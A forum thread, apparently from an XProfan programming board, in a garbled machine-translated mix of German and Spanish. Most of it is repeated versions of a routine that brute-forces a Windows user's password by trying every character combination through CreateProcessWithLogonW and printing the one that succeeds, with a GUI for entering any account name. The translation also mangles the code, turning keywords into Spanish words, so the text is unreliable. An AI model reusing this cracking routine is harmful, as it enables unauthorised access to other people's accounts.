Stammtisch & Café | | | | - Página 1 - |
|  | Ha alguien algo genauere Daten en wieviel MASM32 más rápido es como Profano? Sombrero el veces alguien getestet? |
| | | | |
| | | | - Página 2 - |
| |  Frank Abbing | Hi,
alles klar, mach veces. Yo sehs me a. |
| | | | |
| |  | Schaut veces...
[...] 
Salve, IF |
| | | | |
| |  | Besten Dank. Überschlagen ha ego ya, bloß el Tabla fehlte me todavía. Ohne Wörterbücher son also allerhöchstens 7-8 Buchstaben drin. KompilierenMarcaSeparaciónDie Prozedur PWCHECK soll in die DLL
Proc PWCHECK
Parameters PPPR$,ANSTRING$,AbbruchbuttonHandle&,AnfangsZeichen$,Zeichen_im_Wort$,PWWORT$,Ausgabefenster&,Buchstabenanzahl&
1.Parameter=zu startendes Programm
2.Parameter=Name des Users dessen Passwort ermittelt werden soll
3.Parameter=Handle des Abbruchbuttons auf dem Hauptfenster
4.Parameter=Welche Buchstaben als ersten Buchstaben setzen (Groß-/Kleinschreibung)?
5.Parameter=Welche Buchstaben für die anderen Buchstaben im Wort setzen (Kleinschreibung)
6.Parameter=Passwort, falls schon bekannt
7.Parameter=Wo soll das Passwort ausgegeben werden?
8.Parameter=Anzahl der durchzurechnenden Buchstaben
DECLARE COUNT%,Zähler%[41]
Declare BYTE%,PW$,PW#,DomainN#,SIDT#,DNSize#,NDomain$,PHTOKEN#,SIDAN#,SIDS#
Declare ENDE%,FERGEBNIS&,ACP&,PW2$,MESS%,StartZeit$,StartDatum$,PANTWORT%
Declare lpStartupinfo#,lpProcessInformation#,lpCommandLine#
Declare PPROGRAMM#,PUSERNAME#,PPASSWORT#,Domainw#
Declare Anfangszeichen#,Zeichen#,PLUS%
DIM DOMAINN#,256
DIM SIDT#,4
DIM SIDS#,4
DIM DNSize#,4
DIM SIDAN#,800
DIM PHTOKEN#,4
Dim lpStartupInfo#,68
Dim lpProcessInformation#,16
Dim lpCommandLine#,(@len(PPPR$)*2)+1
DIM PPROGRAMM#,(@LEN(PPPR$)*2)+1
DIM PUSERNAME#,(@LEN(ANSTRING$)*2)+1
DIM PPASSWORT#,256
DIM Anfangszeichen#,300
DIM Zeichen#,300
Bei der LSA besonders wichtig - alle Variablen mit Null füllen
Clear DOMAINN#,SIDT#,DNSize#,SIDAN#,PHTOKEN#
Clear lpStartupinfo#,lpProcessInformation#,lpCommandLine#
Clear Anfangszeichen#,Zeichen#
Strings werden in Bereiche geschrieben
String Anfangszeichen#,0=Anfangszeichen$
String Zeichen#,0=Zeichen_im_Wort$
LONG DNSize#,0=256
LONG SIDS#,0=800
Long lpStartupInfo#,0=68
In diese API stecke ich Usernamen und bekomme die Domain und den SID heraus
@External("advapi32","LookupAccountNameA",0,@ADDR(ANSTRING$),SIDAN#,SIDS#,DomainN#,DNSize#,SIDT#)
LET NDOMAIN$=@STRING$(DOMAINN#,0)
Ich brauche einen Unicode String und dimensioniere die Variable für den Domain String entsprechend
DIM Domainw#,(@LEN(NDOMAIN$)*2)+1
LET StartZeit$=@TIME$(0) Kann evtl. weg
LET STARTDATUM$=@DATE$(0) Kann evtl. weg
DIM PW#,256
CLEAR PW#
LET COUNT%=0
Ich wandele hier die Strings in Unicode Strings um
LET ACP&=@EXTERNAL("kernel32","GetACP")
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,2,@addr(PPPR$),-1,PPROGRAMM#,(@LEN(PPPR$)*2)+1)
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,2,@addr(NDomain$),-1,Domainw#,(@LEN(NDomain$)*2)+1)
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,2,@addr(ANSTRING$),-1,PUSERNAME#,(@LEN(ANSTRING$)*2)+1)
LET Zähler%[0]=1
LET COUNT%=0
LET BYTE%=0
$D "",PWWORT$
WHILENOT ENDE%
SET("FastMode",0) Streichen
Vierzig Buchstaben reicht
IF COUNT%>Buchstaben&
LET ENDE%=1
endif
Wenn im Hauptfenster Abbruch gedrückt wurde soll beendet werden
IF @GT(sendmessage(Button&,$00F2,0,0),40)
Messagebox wäre schön, muß aber nicht sein
LET PANTWORT%=@MESSAGEBOX("Test befindet sich im Augenblick bei "+@STRING$(pw#,0)+".
Test wurde am "+STARTDATUM$+" um "+StartZeit$+" gestartet.","Wollen Sie den Test wirklich abbrechen?",292)
CASE PANTWORT%=6 : LET ENDE%=1
ENDIF
SET("FastMode",1)
Alle möglichen Bustabenkombinationen sollen durchgegangen werden
IF PWWORT$=""
IF Count%=0
LET BYTE%=@BYTE(Anfangszeichen#,Zähler%[COUNT%]-1)
else
LET BYTE%=@BYTE(Zeichen#,Zähler%[COUNT%]-1)
endif
IF BYTE%=0
WHILE BYTE%=0
LET Zähler%[COUNT%]=1
BYTE pw#,COUNT%=Zähler%[COUNT%]
INC COUNT%
LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
LET BYTE%=@BYTE(Zeichen#,Zähler%[COUNT%]-1)
WEND
else
LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
endif
BYTE pw#,COUNT%=BYTE%
ELSE
String pw#,0=PWWORT$
LET ENDE%=1
endif
LET PW2$=@STRING$(pw#,0)
LET COUNT%=0
Ich brauche wieder einen Unicode String
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,2,@addr(PW2$),-1,PPASSWORT#,256)
Die Funktion gibt nur 1 zurück, wenn das Passwort richtig war
LET FERGEBNIS&=@External("advapi32","CreateProcessWithLogonW",PUSERNAME#,Domainw#,PPASSWORT#,0,0,PPROGRAMM#,0,0,0,lpStartupInfo#,lpProcessInformation#)
IF FERGEBNIS&=1
LET ENDE%=1
LET PW$=@STRING$(PW#,0)
ENDIF
CASE COUNT%=0 : LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
wend
SET("FastMode",0)
DISPOSE PW#
DISPOSE DOMAINN#
DISPOSE SIDT#
DISPOSE DNSize#
DISPOSE SIDAN#
DISPOSE PHTOKEN#
DISPOSE SIDS#
DISPOSE lpStartupInfo#
DISPOSE lpProcessInformation#
DISPOSE lpCommandLine#
Settext Ausgabefenster&,PW$
ENDPROC
Das soll nicht in die DLL
WINDOWSTYLE 31+512
WINDOWTITLE "Passworttest"
WINDOW 0,0-640,440
Declare Button&,EDIT&,START&,IN$
LET EDIT&=@CREATEEDIT(%HWND,"",20,20,200,20)
LET Start&=@CREATEBUTTON(%HWND,"Start",20,300,150,30)
LET Button&=@CREATEBUTTON(%HWND,"Abbruch",200,300,150,30)
Enablewindow Button&,0
Whilenot @or(@GT(@sendmessage(Start&,$00F2,0,0),40),%MENUITEM=-2)
Waitinput
WEND
Enablewindow Edit&,0
Enablewindow Start&,0
Enablewindow Button&,1
LET IN$=@GETTEXT$(EDIT&)
Usecursor 2
PWCHECK $WINPATH+"NOTEPAD.EXE",IN$,Button&,"ABCDEFGHIHKLMNOPQRSTUVWXYZÄÖÜßäöüabcdefghijklmnopqrstuvwxyz","ßäöüabcdefghijklmnopqrstuvwxyz , "",Edit&, 7
Usecursor 0
Tal vez podría uno una Kombination de beidem uso... |
| | | | |
| |  Frank Abbing | Hi,
dein Codoe produziert Deklarierungsfehler y Buttons voluntad ya aktiviert, si la Ratón darüber fährt. Ausserdem se ejecuta lo ewig más, incluso en Minipasswörtern como z.B. F. Schaus doch veces después de.
Wenn por lo tanto va, el Tiempo veces a testen, kann Me gusta una kurzen Test con Masm escribir.
Noch una Cuestión: Soll el Función gefundene Signo abhacken? Also el erste Signo en Gleichheit absuchen, el el Zweite, usw.. Oder todos Buchstaben siempre más durchdrehen, a el beiden Passwörter irgenwann igual son? |
| | | | |
| |  | ¡Hola Franco...
Besten Dank, daß du dir el código ya veces angesehen hast. Como Yo me wirlich algunos Anfängerschnitzer instalado. - Einen Variablennamen falso geschrieben, - una überflüssige Addition drin, - XP Neuerungen no bedacht, - Variable no correcto gelöscht
Yo voluntad veces hoffen, daß el Message para el Buttonabfrage bajo XP se no geändert ha (lo son en cada Fall Werte dazugekommen) - sonst nimm a Not en Profano @GETFOCUS. Yo hätte me eigentlich denken puede, daß el así no klappt => euer Problema con el ToolTipps bajo XP.
El Fehlermeldung en CreateProcessWithLogonW war algo komplizierter. Wenn uno no cada vez vorher dien Inhalt el zwei letzten Parámetro löscht, kann lo vorkommen (je después de el, qué sonst todavía Texto en el Code es), daß esta Variables con Sinnlosem Code gefüllt voluntad. Sie necesario deshalb cada vez antes el Aufruf el Función en Null gesetzt voluntad (stand auch ya en el Ver código fuente).
Yo voluntad veces hoffen el lo ahora en dir funktioniert y yo no todavía mehr Mist instalado habe:
El Procedimiento PWCHECK se en el DLL
Proc PWCHECK
Parámetros PPPR$,ANSTRING$,AbbruchbuttonHandle&,AnfangsZeichen$,Zeichen_im_Wort$,PWWORT$,Ausgabefenster&,Buchstabenanzahl&
1.Parámetro=a startendes Programa
2.Parámetro=Name des Users dessen Contraseña ermittelt voluntad se
3.Parámetro=Handle des Abbruchbuttons en el Ventana principal
4.Parámetro=Welche Buchstaben como ersten Buchstaben conjunto (Groß-/Kleinschreibung)?
5.Parámetro=Welche Buchstaben para el otro Buchstaben en el Wort conjunto (Kleinschreibung)
6.Parámetro=Contraseña, si ya bekannt
7.Parámetro=Wo se el Contraseña ausgegeben voluntad?
8.Parámetro=Anzahl el durchzurechnenden Buchstaben
DECLARE COUNT%,Zähler%[41]
Declarar BYTE%,PW$,PW#,DomainN#,SIDT#,DNSize#,NDomain$,PHTOKEN#,SIDAN#,SIDS#
Declarar ENDE%,FERGEBNIS&,ACP&,PW2$,MESS%,StartZeit$,StartDatum$,PANTWORT%
Declarar lpStartupinfo#,lpProcessInformation#
Declarar PPROGRAMM#,PUSERNAME#,PPASSWORT#,Domainw#
Declarar Anfangszeichen#,Signo#,PLUS%
DIM DOMAINN#,256
DIM SIDT#,4
DIM SIDS#,4
DIM DNSize#,4
DIM SIDAN#,800
DIM PHTOKEN#,4
Dim lpStartupInfo#,68
Dim lpProcessInformation#,16
DIM PPROGRAMM#,(@LEN(PPPR$)*2)+1
DIM PUSERNAME#,(@LEN(ANSTRING$)*2)+1
DIM PPASSWORT#,256
DIM Anfangszeichen#,300
DIM Signo#,300
En el LSA besonders wichtig - todos Variables con Null füllen
Claro DOMAINN#,SIDT#,DNSize#,SIDAN#,PHTOKEN#
Claro PPROGRAMM#,PPASSWORT#,Anfangszeichen#,Signo#
@Externo("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
@Externo("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
Cuerdas voluntad en Bereiche geschrieben
String Anfangszeichen#,0=Anfangszeichen$
String Signo#,0=Zeichen_im_Wort$
LONG DNSize#,0=256
LONG SIDS#,0=800
In esta API stecke Yo Usernamen y bekomme el Domain y el SID heraus
@Externo("advapi32","LookupAccountNameA",0,@ADDR(ANSTRING$),SIDAN#,SIDS#,DomainN#,DNSize#,SIDT#)
LET NDOMAIN$=@STRING$(DOMAINN#,0)
Yo brauche una Unicode String y dimensioniere el Variable para el Domain String entsprechend
DIM Domainw#,(@LEN(NDOMAIN$)*2)+1
LET StartZeit$=@TIME$(0) Kann evtl. weg
LET STARTDATUM$=@DATE$(0) Kann evtl. weg
DIM PW#,256
CLEAR PW#
LET COUNT%=0
Yo wandele hier el Cuerdas en Unicode Cuerdas en
LET ACP&=@EXTERNAL("kernel32","GetACP")
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PPPR$),-1,PPROGRAMM#,(@LEN(PPPR$)*2)+1)
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(NDomain$),-1,Domainw#,(@LEN(NDomain$)*2)+1)
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(ANSTRING$),-1,PUSERNAME#,(@LEN(ANSTRING$)*2)+1)
LET Zähler%[0]=1
LET COUNT%=0
LET BYTE%=0
Largo lpStartupInfo#,0=68
WHILENOT ENDE%
SET("FastMode",0) Streichen
Vierzig Buchstaben reicht
IF COUNT%>Buchstabenanzahl&
LET ENDE%=1
endif
Wenn en el Ventana principal Abbruch gedrückt wurde se final voluntad
IF @sendmessage(Button&,$00F2,0,0)=108
Messagebox wäre schön, muß aber no ser
LET PANTWORT%=@MESSAGEBOX("Test befindet se en el Augenblick en "+@STRING$(pw#,0)+".
Test wurde al "+STARTDATUM$+" en "+StartZeit$+" comenzó.","Wollen Sie el Test wirklich abbrechen?",292)
CASE PANTWORT%=6 : LET ENDE%=1
ENDIF
SET("FastMode",1)
Alle möglichen Bustabenkombinationen debería durchgegangen voluntad
IF PWWORT$=""
IF Count%=0
LET BYTE%=@BYTE(Anfangszeichen#,Zähler%[COUNT%]-1)
más
LET BYTE%=@BYTE(Signo#,Zähler%[COUNT%]-1)
endif
IF BYTE%=0
WHILE BYTE%=0
LET Zähler%[COUNT%]=1
BYTE pw#,COUNT%=Zähler%[COUNT%]
INC COUNT%
LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
LET BYTE%=@BYTE(Signo#,Zähler%[COUNT%]-1)
WEND
más
LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
endif
BYTE pw#,COUNT%=BYTE%
ELSE
String pw#,0=PWWORT$
LET ENDE%=1
endif
LET PW2$=@STRING$(pw#,0)
LET COUNT%=0
Yo brauche otra vez una Unicode String
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PW2$),-1,PPASSWORT#,256)
El Función son sólo 1 zurück, si el Contraseña correcto war
SET("FastMode",0)
@Externo("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
@Externo("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
Largo lpStartupInfo#,0=68
LET FERGEBNIS&=@Externo("advapi32","CreateProcessWithLogonW",PUSERNAME#,Domainw#,PPASSWORT#,0,0,PPROGRAMM#,0,0,0,lpStartupInfo#,lpProcessInformation#)
IF FERGEBNIS&=1
LET ENDE%=1
LET PW$=@STRING$(PW#,0)
ENDIF
wend
SET("FastMode",0)
DISPOSE PW#
DISPOSE DOMAINN#
DISPOSE SIDT#
DISPOSE DNSize#
DISPOSE SIDAN#
DISPOSE PHTOKEN#
DISPOSE SIDS#
DISPOSE lpStartupInfo#
DISPOSE lpProcessInformation#
Settext Ausgabefenster&,PW$
ENDPROC
Das se no en el DLL
WINDOWSTYLE 31+512
WINDOWTITLE "Passworttest"
WINDOW 0,0-640,440
Declarar Button&,EDIT&,START&,IN$
LET EDIT&=@CREATEEDIT(%HWND,"",20,20,200,20)
LET Start&=@CREATEBUTTON(%HWND,"Start",20,300,150,30)
LET Button&=@CREATEBUTTON(%HWND,"Abbruch",200,300,150,30)
Enablewindow Button&,0
Sinestar encargado @or(@sendmessage(Start&,$00F2,0,0)=108,%MENUITEM=-2)
Waitinput
WEND
Enablewindow Edit&,0
Enablewindow Start&,0
Enablewindow Button&,1
LET IN$=@GETTEXT$(EDIT&)
Usecursor 2
PWCHECK @shortname$($WINPATH+"Notepad.EXE"),IN$,Button&,"ABCDEFGHIHKLMNOPQRSTUVWXYZÄÖÜßäöüabcdefghijklmnopqrstuvwxyz","ßäöüabcdefghijklmnopqrstuvwxyz","",Edit&,7
Usecursor 0
Nein, lo voluntad no Buchstaben abgehakt sonder siempre otra vez gedreht. Das Ganze es nichts más como Zählen, hier pero no en el Binär-, Octal- oder Hexalsystem sonder hier con 26 a máximo 255 unterschiedlichen Zuständen pro Punto. |
| | | | |
| |  Frank Abbing | Hi,
[quote:806como4d370]Nein, lo voluntad no Buchstaben abgehakt sonder siempre otra vez gedreht. Das Ganze es nichts más como Zählen, hier pero no en el Binär-, Octal- oder Hexalsystem sonder hier con 26 a máximo 255 unterschiedlichen Zuständen pro Punto.[/quote:806como4d370] Sí, verstanden.
Su Progrämmchen findet después de como antes nichts. Der Abbruch-Button ha auch no Wirkung. Hab momentan no viel Tiempo, pero yo mach el Assemblersuchen fertig, si otra vez va. |
| | | | |
| |  | ¡Hola Franco...
Usted mußt deinen Accountnamen eingeben, no el Namen, el dir WindowsXP anzeigt. Schau veces en el Ordner Dokunente y Einstellungen después de el hay vorhandenen Verzeichnisnamen, el son el bajo anderem el Accountnamen. Außerdem Tuve todavía una falschen Parámetro en MultiByteToWideChar drin. El 2 muß weg y una 0 rein (Yo ändere lo oben). Hier veces todavía qué con Anzeigeoption:
El Procedimiento PWCHECK se en el DLL
Proc PWCHECK
Parámetros PPPR$,ANSTRING$,AbbruchbuttonHandle&,AnfangsZeichen$,Zeichen_im_Wort$,PWWORT$,Ausgabefenster&,Buchstabenanzahl&,ANZ&
1.Parámetro=a startendes Programa
2.Parámetro=Name des Users dessen Contraseña ermittelt voluntad se
3.Parámetro=Handle des Abbruchbuttons en el Ventana principal
4.Parámetro=Welche Buchstaben como ersten Buchstaben conjunto (Groß-/Kleinschreibung)?
5.Parámetro=Welche Buchstaben para el otro Buchstaben en el Wort conjunto (Kleinschreibung)
6.Parámetro=Contraseña, si ya bekannt
7.Parámetro=Wo se el Contraseña ausgegeben voluntad?
8.Parámetro=Anzahl el durchzurechnenden Buchstaben
DECLARE COUNT%,Zähler%[41]
Declarar BYTE%,PW$,PW#,DomainN#,SIDT#,DNSize#,NDomain$,PHTOKEN#,SIDAN#,SIDS#
Declarar ENDE%,FERGEBNIS&,ACP&,PW2$,MESS%,StartZeit$,StartDatum$,PANTWORT%
Declarar lpStartupinfo#,lpProcessInformation#
Declarar PPROGRAMM#,PUSERNAME#,PPASSWORT#,Domainw#
Declarar Anfangszeichen#,Signo#,PLUS%
DIM DOMAINN#,256
DIM SIDT#,4
DIM SIDS#,4
DIM DNSize#,4
DIM SIDAN#,800
DIM PHTOKEN#,4
Dim lpStartupInfo#,68
Dim lpProcessInformation#,16
DIM PPROGRAMM#,(@LEN(PPPR$)*2)+1
DIM PUSERNAME#,(@LEN(ANSTRING$)*2)+1
DIM PPASSWORT#,256
DIM Anfangszeichen#,300
DIM Signo#,300
En el LSA besonders wichtig - todos Variables con Null füllen
Claro DOMAINN#,SIDT#,DNSize#,SIDAN#,PHTOKEN#
Claro PPROGRAMM#,PPASSWORT#,Anfangszeichen#,Signo#
@Externo("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
@Externo("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
Cuerdas voluntad en Bereiche geschrieben
String Anfangszeichen#,0=Anfangszeichen$
String Signo#,0=Zeichen_im_Wort$
LONG DNSize#,0=256
LONG SIDS#,0=800
In esta API stecke Yo Usernamen y bekomme el Domain y el SID heraus
@Externo("advapi32","LookupAccountNameA",0,@ADDR(ANSTRING$),SIDAN#,SIDS#,DomainN#,DNSize#,SIDT#)
LET NDOMAIN$=@STRING$(DOMAINN#,0)
Yo brauche una Unicode String y dimensioniere el Variable para el Domain String entsprechend
DIM Domainw#,(@LEN(NDOMAIN$)*2)+1
DIM PW#,256
CLEAR PW#
LET COUNT%=0
Yo wandele hier el Cuerdas en Unicode Cuerdas en
LET ACP&=@EXTERNAL("kernel32","GetACP")
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PPPR$),-1,PPROGRAMM#,(@LEN(PPPR$)*2)+1)
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(NDomain$),-1,Domainw#,(@LEN(NDomain$)*2)+1)
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(ANSTRING$),-1,PUSERNAME#,(@LEN(ANSTRING$)*2)+1)
LET Zähler%[0]=1
LET COUNT%=0
LET BYTE%=0
Largo lpStartupInfo#,0=68
WHILENOT ENDE%
SET("FastMode",0)
IF @or(@sendmessage(Button&,$00F2,0,0)=108,COUNT%>Buchstabenanzahl&)
LET ENDE%=1
ENDIF
SET("FastMode",1)
IF PWWORT$=""
IF Count%=0
LET BYTE%=@BYTE(Anfangszeichen#,Zähler%[COUNT%]-1)
más
LET BYTE%=@BYTE(Signo#,Zähler%[COUNT%]-1)
endif
IF BYTE%=0
WHILE BYTE%=0
LET Zähler%[COUNT%]=1
BYTE pw#,COUNT%=Zähler%[COUNT%]
INC COUNT%
LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
LET BYTE%=@BYTE(Signo#,Zähler%[COUNT%]-1)
WEND
más
LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
endif
BYTE pw#,COUNT%=BYTE%
ELSE
String pw#,0=PWWORT$
LET ENDE%=1
endif
LET PW2$=@STRING$(pw#,0)
LET COUNT%=0
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PW2$),-1,PPASSWORT#,256)
CASE @Getcheck(Anz&) : SETTEXT Ausgabefenster&,PW2$
@Externo("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
Largo lpStartupInfo#,0=68
LET FERGEBNIS&=@Externo("advapi32","CreateProcessWithLogonW",PUSERNAME#,Domainw#,PPASSWORT#,0,0,PPROGRAMM#,0,0,0,lpStartupInfo#,lpProcessInformation#)
IF FERGEBNIS&=1
LET ENDE%=1
LET PW$=@STRING$(PW#,0)
ENDIF
wend
SET("FastMode",0)
DISPOSE PW#
DISPOSE DOMAINN#
DISPOSE SIDT#
DISPOSE DNSize#
DISPOSE SIDAN#
DISPOSE PHTOKEN#
DISPOSE SIDS#
DISPOSE lpStartupInfo#
DISPOSE lpProcessInformation#
Settext Ausgabefenster&,PW$
ENDPROC
Das se no en el DLL
WINDOWSTYLE 31+512
WINDOWTITLE "Passworttest"
WINDOW 0,0-640,440
Declarar Button&,EDIT&,START&,IN$,BA&,BI&,Ausgabe&,Anzeigen&
LET EDIT&=@CREATEEDIT(%HWND,"",20,20,200,20)
LET Ba&=@CREATEEDIT(%HWND,"ABCDEFGHIHKLMNOPQRSTUVWXYZÄÖÜßäöüabcdefghijklmnopqrstuvwxyz",20,50,200,20)
LET Bi&=@CREATEEDIT(%HWND,"ßäöüabcdefghijklmnopqrstuvwxyz",20,80,200,20)
LET Anzeigen&=@CREATECheckbox(%HWND,"Verlauf Anzeigen",20,110,200,20)
LET Ausgabe&=@CREATEText(%HWND,"",20,150,200,20)
LET Start&=@CREATEBUTTON(%HWND,"Start",20,300,150,30)
LET Button&=@CREATEBUTTON(%HWND,"Abbruch",200,300,150,30)
Enablewindow Button&,0
Sinestar encargado @or(@sendmessage(Start&,$00F2,0,0)=108,%MENUITEM=-2)
Waitinput
Case %MENUITEM=-2 : FIN
WEND
Enablewindow Edit&,0
Enablewindow Ba&,0
Enablewindow Bi&,0
Enablewindow Start&,0
Enablewindow Button&,1
LET IN$=@GETTEXT$(EDIT&)
Usecursor 2
Localizar 20,0
Imprimir "Funktion wurde al "+@Date$(1)+" en "+@TIME$(0)+" Uhr comenzó..."
PWCHECK @shortname$($WINPATH+"Notepad.EXE"),IN$,Button&,@GetText $(Ba&),@GetText $(Bi&),"",Ausgabe&,7,Anzeigen&
Usecursor 0
Waitinput
|
| | | | |
| |  | Ach sí...
BUTTON :roll:
Dazu veces una Test:
cls
Declarar Button&
Let Button&=@createbutton(%HWND,"OK",10,10,100,30)
Mientras que 0=0
Drawtext 0,100,@str$(@sendmessage(Button&,$00F2,0,0))+" "
sleep 10
wend
El Message Fragt el Status des Buttons de. Folgende Werte son ellos en me zurück: - Button no gedrückt=0 - Mauscursor liegt en Button=keine Änderung - Button gedrückt=108 - Foco liegt en Button=8 - Foco liegt no en Button=0
Yo habe el Verdacht el XProfan con Manifest hier otro y todavía mehr Werte zurückgiebt. Wenn sí, dürfte el auch el Grund para el Tooltipp Problema bajo XP ser...  |
| | | | |
| |  Frank Abbing | Hi,
Aber el Tooltippgeschichte se doch de Windows verwaltet... |
| | | | |
| |  | [quote:c026f5de54] Aber el Tooltippgeschichte se doch de Windows verwaltet... [/quote:c026f5de54] Der Status des Buttons doch auch, oder? Yo gehe veces bastante stark su de, daß el Status des Buttons, si él todavía no gedrückt wurde y Mauscursor en ihm ruht no 512 es - es el correcto? Exactamente como liegt wohl el problema con el Tooltipps - Yo kanns por desgracia, no testen, pero yo denke Yo tener bastante.
PS: Entfern el Manifest y mein Ver código fuente se ejecuta. |
| | | | |
| |  Frank Abbing | Hi,
Usted irrst dich. Er es entonces 512. Como ya geschrieben  Hab el MASM-Code fertig y poste ihn igual. |
| | | | |
| |  Frank Abbing | Hi,
así, hier el Testprogramm. Passwörter necesario Großbuchstaben ser. El Veces para Errechnen decken se con el Werten de el Webpage, el IF hier Nuevo hatte, para 26él Passwörter.
Der Assemblercode es todavía no optimiert y benutzt para Vergleich el Cuerdas el API lstrcmp(), el aber muy rápidamente arbeitet. |
| | | | |
|
RespuestaTema opciones | 26.137 Views |
ThemeninformationenDieses Thema ha 4 subscriber: |